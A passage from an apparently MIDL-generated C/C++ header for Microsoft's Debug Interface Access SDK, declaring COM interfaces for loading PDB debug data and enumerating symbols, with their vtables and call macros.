    IDiaLoadCallback * This,\n            /* [in] */ LPCOLESTR dbgPath,\n            /* [in] */ HRESULT resultCode);\n        \n        HRESULT ( STDMETHODCALLTYPE *NotifyOpenPDB )( \n            IDiaLoadCallback * This,\n            /* [in] */ LPCOLESTR pdbPath,\n            /* [in] */ HRESULT resultCode);\n        \n        HRESULT ( STDMETHODCALLTYPE *RestrictRegistryAccess )( \n            IDiaLoadCallback * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *RestrictSymbolServerAccess )( \n            IDiaLoadCallback * This);\n        \n        END_INTERFACE\n    } IDiaLoadCallbackVtbl;\n\n    interface IDiaLoadCallback\n    {\n        CONST_VTBL struct IDiaLoadCallbackVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaLoadCallback_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaLoadCallback_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaLoadCallback_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaLoadCallback_NotifyDebugDir(This,fExecutable,cbData,pbData)\t\\\n    ( (This)->lpVtbl -> NotifyDebugDir(This,fExecutable,cbData,pbData) ) \n\n#define IDiaLoadCallback_NotifyOpenDBG(This,dbgPath,resultCode)\t\\\n    ( (This)->lpVtbl -> NotifyOpenDBG(This,dbgPath,resultCode) ) \n\n#define IDiaLoadCallback_NotifyOpenPDB(This,pdbPath,resultCode)\t\\\n    ( (This)->lpVtbl -> NotifyOpenPDB(This,pdbPath,resultCode) ) \n\n#define IDiaLoadCallback_RestrictRegistryAccess(This)\t\\\n    ( (This)->lpVtbl -> RestrictRegistryAccess(This) ) \n\n#define IDiaLoadCallback_RestrictSymbolServerAccess(This)\t\\\n    ( (This)->lpVtbl -> RestrictSymbolServerAccess(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaLoadCallback_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaLoadCallback2_INTERFACE_DEFINED__\n#define __IDiaLoadCallback2_INTERFACE_DEFINED__\n\n/* interface IDiaLoadCallback2 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaLoadCallback2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"4688a074-5a4d-4486-aea8-7b90711d9f7c\")\n    IDiaLoadCallback2 : public IDiaLoadCallback\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE RestrictOriginalPathAccess( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RestrictReferencePathAccess( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RestrictDBGAccess( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RestrictSystemRootAccess( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaLoadCallback2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaLoadCallback2 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaLoadCallback2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaLoadCallback2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *NotifyDebugDir )( \n            IDiaLoadCallback2 * This,\n            /* [in] */ BOOL fExecutable,\n            /* [in] */ DWORD cbData,\n            /* [size_is][in] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *NotifyOpenDBG )( \n            IDiaLoadCallback2 * This,\n            /* [in] */ LPCOLESTR dbgPath,\n            /* [in] */ HRESULT resultCode);\n        \n        HRESULT ( STDMETHODCALLTYPE *NotifyOpenPDB )( \n            IDiaLoadCallback2 * This,\n            /* [in] */ LPCOLESTR pdbPath,\n            /* [in] */ HRESULT resultCode);\n        \n        HRESULT ( STDMETHODCALLTYPE *RestrictRegistryAccess )( \n            IDiaLoadCallback2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *RestrictSymbolServerAccess )( \n            IDiaLoadCallback2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *RestrictOriginalPathAccess )( \n            IDiaLoadCallback2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *RestrictReferencePathAccess )( \n            IDiaLoadCallback2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *RestrictDBGAccess )( \n            IDiaLoadCallback2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *RestrictSystemRootAccess )( \n            IDiaLoadCallback2 * This);\n        \n        END_INTERFACE\n    } IDiaLoadCallback2Vtbl;\n\n    interface IDiaLoadCallback2\n    {\n        CONST_VTBL struct IDiaLoadCallback2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaLoadCallback2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaLoadCallback2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaLoadCallback2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaLoadCallback2_NotifyDebugDir(This,fExecutable,cbData,pbData)\t\\\n    ( (This)->lpVtbl -> NotifyDebugDir(This,fExecutable,cbData,pbData) ) \n\n#define IDiaLoadCallback2_NotifyOpenDBG(This,dbgPath,resultCode)\t\\\n    ( (This)->lpVtbl -> NotifyOpenDBG(This,dbgPath,resultCode) ) \n\n#define IDiaLoadCallback2_NotifyOpenPDB(This,pdbPath,resultCode)\t\\\n    ( (This)->lpVtbl -> NotifyOpenPDB(This,pdbPath,resultCode) ) \n\n#define IDiaLoadCallback2_RestrictRegistryAccess(This)\t\\\n    ( (This)->lpVtbl -> RestrictRegistryAccess(This) ) \n\n#define IDiaLoadCallback2_RestrictSymbolServerAccess(This)\t\\\n    ( (This)->lpVtbl -> RestrictSymbolServerAccess(This) ) \n\n\n#define IDiaLoadCallback2_RestrictOriginalPathAccess(This)\t\\\n    ( (This)->lpVtbl -> RestrictOriginalPathAccess(This) ) \n\n#define IDiaLoadCallback2_RestrictReferencePathAccess(This)\t\\\n    ( (This)->lpVtbl -> RestrictReferencePathAccess(This) ) \n\n#define IDiaLoadCallback2_RestrictDBGAccess(This)\t\\\n    ( (This)->lpVtbl -> RestrictDBGAccess(This) ) \n\n#define IDiaLoadCallback2_RestrictSystemRootAccess(This)\t\\\n    ( (This)->lpVtbl -> RestrictSystemRootAccess(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaLoadCallback2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaReadExeAtOffsetCallback_INTERFACE_DEFINED__\n#define __IDiaReadExeAtOffsetCallback_INTERFACE_DEFINED__\n\n/* interface IDiaReadExeAtOffsetCallback */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaReadExeAtOffsetCallback;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"587A461C-B80B-4f54-9194-5032589A6319\")\n    IDiaReadExeAtOffsetCallback : public IUnknown\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE ReadExecutableAt( \n            /* [in] */ DWORDLONG fileOffset,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaReadExeAtOffsetCallbackVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaReadExeAtOffsetCallback * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaReadExeAtOffsetCallback * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaReadExeAtOffsetCallback * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ReadExecutableAt )( \n            IDiaReadExeAtOffsetCallback * This,\n            /* [in] */ DWORDLONG fileOffset,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        END_INTERFACE\n    } IDiaReadExeAtOffsetCallbackVtbl;\n\n    interface IDiaReadExeAtOffsetCallback\n    {\n        CONST_VTBL struct IDiaReadExeAtOffsetCallbackVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaReadExeAtOffsetCallback_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaReadExeAtOffsetCallback_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaReadExeAtOffsetCallback_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaReadExeAtOffsetCallback_ReadExecutableAt(This,fileOffset,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> ReadExecutableAt(This,fileOffset,cbData,pcbData,pbData) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaReadExeAtOffsetCallback_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaReadExeAtRVACallback_INTERFACE_DEFINED__\n#define __IDiaReadExeAtRVACallback_INTERFACE_DEFINED__\n\n/* interface IDiaReadExeAtRVACallback */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaReadExeAtRVACallback;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"8E3F80CA-7517-432a-BA07-285134AAEA8E\")\n    IDiaReadExeAtRVACallback : public IUnknown\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE ReadExecutableAtRVA( \n            /* [in] */ DWORD relativeVirtualAddress,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaReadExeAtRVACallbackVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaReadExeAtRVACallback * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaReadExeAtRVACallback * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaReadExeAtRVACallback * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ReadExecutableAtRVA )( \n            IDiaReadExeAtRVACallback * This,\n            /* [in] */ DWORD relativeVirtualAddress,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        END_INTERFACE\n    } IDiaReadExeAtRVACallbackVtbl;\n\n    interface IDiaReadExeAtRVACallback\n    {\n        CONST_VTBL struct IDiaReadExeAtRVACallbackVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaReadExeAtRVACallback_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaReadExeAtRVACallback_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaReadExeAtRVACallback_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaReadExeAtRVACallback_ReadExecutableAtRVA(This,relativeVirtualAddress,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> ReadExecutableAtRVA(This,relativeVirtualAddress,cbData,pcbData,pbData) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaReadExeAtRVACallback_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaDataSource_INTERFACE_DEFINED__\n#define __IDiaDataSource_INTERFACE_DEFINED__\n\n/* interface IDiaDataSource */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaDataSource;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"79F1BB5F-B66E-48e5-B6A9-1545C323CA3D\")\n    IDiaDataSource : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lastError( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE loadDataFromPdb( \n            /* [in] */ LPCOLESTR pdbPath) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE loadAndValidateDataFromPdb( \n            /* [in] */ LPCOLESTR pdbPath,\n            /* [in] */ GUID *pcsig70,\n            /* [in] */ DWORD sig,\n            /* [in] */ DWORD age) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE loadDataForExe( \n            /* [in] */ LPCOLESTR executable,\n            /* [in] */ LPCOLESTR searchPath,\n            /* [in] */ IUnknown *pCallback) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE loadDataFromIStream( \n            /* [in] */ IStream *pIStream) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE openSession( \n            /* [out] */ IDiaSession **ppSession) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE loadDataFromCodeViewInfo( \n            /* [in] */ LPCOLESTR executable,\n            /* [in] */ LPCOLESTR searchPath,\n            /* [in] */ DWORD cbCvInfo,\n            /* [size_is][in] */ BYTE *pbCvInfo,\n            /* [in] */ IUnknown *pCallback) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE loadDataFromMiscInfo( \n            /* [in] */ LPCOLESTR executable,\n            /* [in] */ LPCOLESTR searchPath,\n            /* [in] */ DWORD timeStampExe,\n            /* [in] */ DWORD timeStampDbg,\n            /* [in] */ DWORD sizeOfExe,\n            /* [in] */ DWORD cbMiscInfo,\n            /* [size_is][in] */ BYTE *pbMiscInfo,\n            /* [in] */ IUnknown *pCallback) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaDataSourceVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaDataSource * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaDataSource * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaDataSource * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lastError )( \n            IDiaDataSource * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *loadDataFromPdb )( \n            IDiaDataSource * This,\n            /* [in] */ LPCOLESTR pdbPath);\n        \n        HRESULT ( STDMETHODCALLTYPE *loadAndValidateDataFromPdb )( \n            IDiaDataSource * This,\n            /* [in] */ LPCOLESTR pdbPath,\n            /* [in] */ GUID *pcsig70,\n            /* [in] */ DWORD sig,\n            /* [in] */ DWORD age);\n        \n        HRESULT ( STDMETHODCALLTYPE *loadDataForExe )( \n            IDiaDataSource * This,\n            /* [in] */ LPCOLESTR executable,\n            /* [in] */ LPCOLESTR searchPath,\n            /* [in] */ IUnknown *pCallback);\n        \n        HRESULT ( STDMETHODCALLTYPE *loadDataFromIStream )( \n            IDiaDataSource * This,\n            /* [in] */ IStream *pIStream);\n        \n        HRESULT ( STDMETHODCALLTYPE *openSession )( \n            IDiaDataSource * This,\n            /* [out] */ IDiaSession **ppSession);\n        \n        HRESULT ( STDMETHODCALLTYPE *loadDataFromCodeViewInfo )( \n            IDiaDataSource * This,\n            /* [in] */ LPCOLESTR executable,\n            /* [in] */ LPCOLESTR searchPath,\n            /* [in] */ DWORD cbCvInfo,\n            /* [size_is][in] */ BYTE *pbCvInfo,\n            /* [in] */ IUnknown *pCallback);\n        \n        HRESULT ( STDMETHODCALLTYPE *loadDataFromMiscInfo )( \n            IDiaDataSource * This,\n            /* [in] */ LPCOLESTR executable,\n            /* [in] */ LPCOLESTR searchPath,\n            /* [in] */ DWORD timeStampExe,\n            /* [in] */ DWORD timeStampDbg,\n            /* [in] */ DWORD sizeOfExe,\n            /* [in] */ DWORD cbMiscInfo,\n            /* [size_is][in] */ BYTE *pbMiscInfo,\n            /* [in] */ IUnknown *pCallback);\n        \n        END_INTERFACE\n    } IDiaDataSourceVtbl;\n\n    interface IDiaDataSource\n    {\n        CONST_VTBL struct IDiaDataSourceVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaDataSource_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaDataSource_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaDataSource_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaDataSource_get_lastError(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lastError(This,pRetVal) ) \n\n#define IDiaDataSource_loadDataFromPdb(This,pdbPath)\t\\\n    ( (This)->lpVtbl -> loadDataFromPdb(This,pdbPath) ) \n\n#define IDiaDataSource_loadAndValidateDataFromPdb(This,pdbPath,pcsig70,sig,age)\t\\\n    ( (This)->lpVtbl -> loadAndValidateDataFromPdb(This,pdbPath,pcsig70,sig,age) ) \n\n#define IDiaDataSource_loadDataForExe(This,executable,searchPath,pCallback)\t\\\n    ( (This)->lpVtbl -> loadDataForExe(This,executable,searchPath,pCallback) ) \n\n#define IDiaDataSource_loadDataFromIStream(This,pIStream)\t\\\n    ( (This)->lpVtbl -> loadDataFromIStream(This,pIStream) ) \n\n#define IDiaDataSource_openSession(This,ppSession)\t\\\n    ( (This)->lpVtbl -> openSession(This,ppSession) ) \n\n#define IDiaDataSource_loadDataFromCodeViewInfo(This,executable,searchPath,cbCvInfo,pbCvInfo,pCallback)\t\\\n    ( (This)->lpVtbl -> loadDataFromCodeViewInfo(This,executable,searchPath,cbCvInfo,pbCvInfo,pCallback) ) \n\n#define IDiaDataSource_loadDataFromMiscInfo(This,executable,searchPath,timeStampExe,timeStampDbg,sizeOfExe,cbMiscInfo,pbMiscInfo,pCallback)\t\\\n    ( (This)->lpVtbl -> loadDataFromMiscInfo(This,executable,searchPath,timeStampExe,timeStampDbg,sizeOfExe,cbMiscInfo,pbMiscInfo,pCallback) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaDataSource_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumSymbols_INTERFACE_DEFINED__\n#define __IDiaEnumSymbols_INTERFACE_DEFINED__\n\n/* interface IDiaEnumSymbols */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumSymbols;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"CAB72C48-443B-48f5-9B0B-42F0820AB29A\")\n    IDiaEnumSymbols : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ IUnknown **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( \n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaSymbol **symbol) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSymbol **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Skip( \n            /* [in] */ ULONG celt) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Clone( \n            /* [out] */ IDiaEnumSymbols **ppenum) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumSymbolsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumSymbols * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumSymbols * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumSymbols * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            IDiaEnumSymbols * This,\n            /* [retval][out] */ IUnknown **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            IDiaEnumSymbols * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( \n            IDiaEnumSymbols * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaSymbol **symbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumSymbols * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSymbol **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Skip )( \n            IDiaEnumSymbols * This,\n            /* [in] */ ULONG celt);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaEnumSymbols * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumSymbols * This,\n            /* [out] */ IDiaEnumSymbols **ppenum);\n        \n        END_INTERFACE\n    } IDiaEnumSymbolsVtbl;\n\n    interface IDiaEnumSymbols\n    {\n        CONST_VTBL struct IDiaEnumSymbolsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumSymbols_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumSymbols_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumSymbols_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumSymbols_get__NewEnum(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) \n\n#define IDiaEnumSymbols_get_Count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pRetVal) ) \n\n#define IDiaEnumSymbols_Item(This,index,symbol)\t\\\n    ( (This)->lpVtbl -> Item(This,index,symbol) ) \n\n#define IDiaEnumSymbols_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumSymbols_Skip(This,celt)\t\\\n    ( (This)->lpVtbl -> Skip(This,celt) ) \n\n#define IDiaEnumSymbols_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#define IDiaEnumSymbols_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumSymbols_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumSymbolsByAddr_INTERFACE_DEFINED__\n#define __IDiaEnumSymbolsByAddr_INTERFACE_DEFINED__\n\n/* interface IDiaEnumSymbolsByAddr */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumSymbolsByAddr;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"624B7D9C-24EA-4421-9D06-3B577471C1FA\")\n    IDiaEnumSymbolsByAddr : public IUnknown\n    {\n    public:\n        virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE symbolByAddr( \n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [retval][out] */ IDiaSymbol **ppSymbol) = 0;\n        \n        virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE symbolByRVA( \n            /* [in] */ DWORD relativeVirtualAddress,\n            /* [retval][out] */ IDiaSymbol **ppSymbol) = 0;\n        \n        virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE symbolByVA( \n            /* [in] */ ULONGLONG virtualAddress,\n            /* [retval][out] */ IDiaSymbol **ppSymbol) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSymbol **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Prev( \n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSymbol **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Clone( \n            /* [out] */ IDiaEnumSymbolsByAddr **ppenum) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumSymbolsByAddrVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumSymbolsByAddr * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumSymbolsByAddr * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumSymbolsByAddr * This);\n        \n        /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *symbolByAddr )( \n            IDiaEnumSymbolsByAddr * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [retval][out] */ IDiaSymbol **ppSymbol);\n        \n        /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *symbolByRVA )( \n            IDiaEnumSymbolsByAddr * This,\n            /* [in] */ DWORD relativeVirtualAddress,\n            /* [retval][out] */ IDiaSymbol **ppSymbol);\n        \n        /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *symbolByVA )( \n            IDiaEnumSymbolsByAddr * This,\n            /* [in] */ ULONGLONG virtualAddress,\n            /* [retval][out] */ IDiaSymbol **ppSymbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumSymbolsByAddr * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSymbol **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Prev )( \n            IDiaEnumSymbolsByAddr * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSymbol **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumSymbolsByAddr * This,\n            /* [out] */ IDiaEnumSymbolsByAddr **ppenum);\n        \n        END_INTERFACE\n    } IDiaEnumSymbolsByAddrVtbl;\n\n    interface IDiaEnumSymbolsByAddr\n    {\n        CONST_VTBL struct IDiaEnumSymbolsByAddrVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumSymbolsByAddr_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumSymbolsByAddr_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumSymbolsByAddr_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumSymbolsByAddr_symbolByAddr(This,isect,offset,ppSymbol)\t\\\n    ( (This)->lpVtbl -> symbolByAddr(This,isect,offset,ppSymbol) ) \n\n#define IDiaEnumSymbolsByAddr_symbolByRVA(This,relativeVirtualAddress,ppSymbol)\t\\\n    ( (This)->lpVtbl -> symbolByRVA(This,relativeVirtualAddress,ppSymbol) ) \n\n#define IDiaEnumSymbolsByAddr_symbolByVA(This,virtualAddress,ppSymbol)\t\\\n    ( (This)->lpVtbl -> symbolByVA(This,virtualAddress,ppSymbol) ) \n\n#define IDiaEnumSymbolsByAddr_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumSymbolsByAddr_Prev(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Prev(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumSymbolsByAddr_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumSymbolsByAddr_INTERFACE_DEFINED__ */\n\n\n#ifndef 